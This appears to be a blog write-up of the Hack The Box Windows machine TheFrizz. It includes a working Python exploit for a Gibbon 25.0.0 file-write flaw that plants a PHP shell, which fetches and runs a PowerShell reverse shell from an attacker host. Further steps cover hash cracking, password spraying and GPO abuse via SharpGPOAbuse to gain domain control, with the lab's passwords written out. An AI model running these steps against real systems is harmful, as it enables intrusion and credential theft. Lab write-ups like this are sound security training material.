Post

TheFrizz

TheFrizz is a medium difficulty windows machine involving Gibbon and active directory exploitation.

TheFrizz

About

TheFrizz

TheFrizz

Difficulty: Medium

OS: Windows

Release date: 2025-03-15

Authors: 0xPizzaCat

Summary

Through an arbitrary file write vulnerability in Gibbon we can write a php file and get a foothold. The Gibbon password is reused for the user f.frizzle who can log in over SSH. We find a wapd backup with another password in his recycle bin. With the password we can login as m.schoolbus who has WriteGPLink rights over the domain controller that can be abused to get full control of it.

Recon

Rustscan and nmap report the following

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
22/tcp    open  ssh           syn-ack ttl 127 OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp    open  domain        syn-ack ttl 127 (generic dns response: SERVFAIL)
80/tcp    open  http          syn-ack ttl 127 Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-03-31 16:02:16Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: frizz.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49670/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
50531/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50535/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
50545/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
53/udp  open  domain       udp-response ttl 127 (generic dns response: SERVFAIL)
88/udp  open  kerberos-sec udp-response ttl 127 Microsoft Windows Kerberos (server time: 2025-03-31 16:01:28Z)
123/udp open  ntp          udp-response ttl 127 NTP v3

It looks like a domain controller with two uncommon ports. SSH and a web server on port 80.

The website is mostly empty placeholders but the staff login is interesting: Gibbon

It’s running Gibbon 25.0.0.

User

Foothold (w.webservice)

Gibbon 25.0.0 has various vulnerabilities:
https://www.cvedetails.com/version/739155/Gibbonedu-Gibbon-25.0.00.html

The code execution one with a score of 9.8 is the most interesting. The links lead us to this article:
https://herolab.usd.de/security-advisories/usd-2023-0025/

The exploit works by uploading a php shell.
It can be abused with BURP or just curl. I wrote a simple python script to directly execute a reverse shell.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import base64

cmd = 'powershell -NoProfile -c "IWR -UseBasicParsing 10.10.14.18/revpty.ps1|IEX"'
payload = f"<?php echo system('{cmd}');?>"
encoded_payload = base64.b64encode(payload.encode()).decode()

payload = {
    "img": f"image/png;asdf,{encoded_payload}",
    "path": "asdf.php",
    "gibbonPersonID": "0000000001"
}

requests.post("http://frizz.htb/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php", data=payload)
requests.get("http://frizz.htb/Gibbon-LMS/asdf.php")

Prepare your handler, adapt cmd and catch a shell as w.webservice.

f.frizzle

We end up in the folder C:\xampp\htdocs\Gibbon-LMS and start by checking the Gibbon configuration for anything interesting.
In config.php we find the database credentials.

1
2
3
4
$databaseServer = 'localhost';
$databaseUsername = 'MrGibbonsDB';
$databasePassword = 'MisterGibbs!Parrot!?1';
$databaseName = 'gibbon';

To have a look at the database, we could forward port 3306 using e.g. chisel, but luckily a mysql client is installed.

From windows:

1
C:\xampp\mysql\bin\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -D gibbon

From linux after forwarding the port:

1
mysql -u MrGibbonsDB -p'MisterGibbs!Parrot!?1' -D gibbon --protocol=tcp --skip-ssl

User information is stored in the gibbonperson table. To get the relevant information use:

1
select username,passwordStrong,passwordStrongSalt from gibbonperson;
1
2
3
4
5
+-----------+------------------------------------------------------------------+------------------------+
| username  | passwordStrong                                                   | passwordStrongSalt     |
+-----------+------------------------------------------------------------------+------------------------+
| f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
+-----------+------------------------------------------------------------------+------------------------+

hashid tells us the hash might be SHA256 and we check the hashcat examples for the right format.

These two look promising.

1
2
1410	sha256($pass.$salt)	c73d08de890479518ed60cf670d17faa26a4a71f995c1dcc978165399401a6c4:53743528
1420	sha256($salt.$pass)	eb368a2dfd38b405f014118c7d9747fcc97f4f0ee75c05963cd9da6ee65ef498:560407001617

Formatted as hash:salt we have

1
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03:/aACFhikmNopqrRTVz2489

With format 1420 it cracks successfully and we get the password for f.frizzle.

SSH as f.frizzle

f.frizzle can authenticate and enumerate ldap but what we really want is a SSH shell.
NTLM authentication is disabled so we need to configure our attacker machine correctly for Kerberos.

The first step is the krb5.conf. A working one looks as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[libdefaults]
    default_realm = FRIZZ.HTB
    dns_lookup_realm = false
    dns_lookup_kdc = false

[realms]
    FRIZZ.HTB = {
        kdc = frizzdc.frizz.htb
        admin_server = frizzdc.frizz.htb
    }

[domain_realm]
    .frizz.htb = FRIZZ.HTB
    frizz.htb = FRIZZ.HTB

Next we need to make sure our host file is correctly set up so that the DC is the first entry. It should look like in this example.

1
10.129.32.165	frizzdc.frizz.htb frizz.htb

Then we get a ticket with

1
kinit f.frizzle

If everything is configured correctly, you should now be able to log in over ssh:

1
ssh f.frizzle@frizzdc.frizz.htb -K

SSH works for some reason but other tools using Kerberos run into issues with clock skew.
To avoid having to prepend it to each command, I recommend just running your whole shell with faketime.

1
faketime "$(ntpdate -q frizz.htb | cut -d ' ' -f 1,2)" zsh

In the desktop folder you will find the user flag.

Root

m.schoolbus

When going through our privesc checklist we eventually find that the recycle bin has items in it.

1
Get-ChildItem -Force -Recurse -Path 'C:\$RECYCLE.BIN\'
1
2
3
4
5
6
7
Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
-a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
-a-hs          10/29/2024  7:31 AM            129 desktop.ini

To get more information about them, we will have to use a COM object.

1
2
3
$shell = New-Object -ComObject Shell.Application
$recycleBin = $shell.NameSpace(10)                                                  
$recycleBin.Items() | Select-Object Name, Path
1
2
3
Name                  Path
----                  ----
wapt-backup-sunday.7z C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z

Like with mysql, we also find a copy of 7-zip on the machine at C:\Program Files\VMware\VMware Tools\7za.exe.
To unpack the archive, you can use

1
& 'C:\Program Files\VMware\VMware Tools\7za.exe' x 'C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103\$RE2XMEG.7z'

Alternatively, you can first exfiltrate the .7z file and do the same on your attacker machine.

A wapt folder will show up and in it we find this configuration file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[options]
allow_unauthenticated_registration = True
wads_enable = True
login_on_wads = True
waptwua_enable = True
secret_key = ylPYfn9tTU9IDu9yssP2luKhjQijHKvtuxIzX9aWhPyYKtRO7tMSq5sEurdTwADJ
server_uuid = 646d0847-f8b8-41c3-95bc-51873ec9ae38
token_secret_key = 5jEKVoXmYLSpi5F7plGPB4zII5fpx0cYhGKX5QC0f7dkYpYmkeTXiFlhEJtZwuwD
wapt_password = IXN1QmNpZ0BNZWhUZWQhUgo=
clients_signing_key = C:\wapt\conf\ca-192.168.120.158.pem 
clients_signing_certificate = C:\wapt\conf\ca-192.168.120.158.crt

[tftpserver]
root_dir = c:\wapt\waptserver\repository\wads\pxe
log_path = c:\wapt\log

The password is just simple base64. To decode it directly in powershell use

1
[System.Text.Encoding]::Ascii.GetString([System.Convert]::FromBase64String('IXN1QmNpZ0BNZWhUZWQhUgo='))

Next we want to check if this password works for any active directory users.
We start with creating a user list. Make sure you use faketime as mentioned above.

1
impacket-lookupsid frizz.htb/f.frizzle:'Jenni_Luvs_Magic23'@frizzdc.frizz.htb -k | grep SidTypeUser | cut -d' ' -f2 | cut -d\\ -f2 > users.txt

Then we can use e.g. netexec to spray it.

1
nxc ldap frizz.htb -k -u users.txt -p '!suBcig@MehTed!R'

We learn that it works for M.SchoolBus and we can repeat the earlier steps to get a SSH shell.

Administrator

If we check BloodHound for paths from M.SchoolBus we see the following BloodHound

Note that rusthound-ce did not properly collect this.
If possible, it’s always best to run the native collector that comes with your BloodHound installation. Since there is no Windows Defender it’s easily possible in our case.

This means we can create a new GPO and link it to domain controllers. Then add some abusive action to it.

Build SharpGPOAbuse or grab a binary from somewhere and transfer it to the DC machine.

Create a new GPO and link it

1
New-GPO -Name "Evil" | New-GPLink -Target "OU=DOMAIN CONTROLLERS,DC=FRIZZ,DC=HTB"

There is a cleanup script that deletes the GPO after some minutes.

The straight forward way to abuse it is to add a user to the Administrators group.

1
2
SharpGPOAbuse.exe --AddlocalAdmin --UserAccount f.frizzle --GPOName "Evil"
gpupdate /force

Admins cannot log in over SSH so be careful to not lock yourself out.
It’s recommended not to add M.SchoolBus to Administrators.

The second command will force a refresh of the group policies so you don’t have to wait.
As mentioned, this will prevent you from logging in over SSH. However, RunasCs will still work.

Again, build it yourself or grab a binary and transfer it to the machine.

You can directly read the root flag or get another reverse shell, as in this example with a base64 powershell one from Reverse Shell Generator.

1
.\RunasCs.exe f.frizzle 'Jenni_Luvs_Magic23' 'powershell -e JABjAGwAaQBlAG4A...'

A nice alternative that will not break SSH login is adding user rights that allow easy escalation, such as SeImpersonatePrivilege.
This is how you would add it with SharpGPOAbuse.

1
2
.\SharpGPOAbuse.exe --AddUserRights --GPOName Evil --UserAccount M.SchoolBus --UserRights SeImpersonatePrivilege
gpupdate /force

If you now relogin with SSH, whoami /priv will show it:

1
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

To abuse it, you can use your favorite potato variant. E.g. EfsPotato mentioned in previous writeups.

This post is licensed under CC BY 4.0 by the author.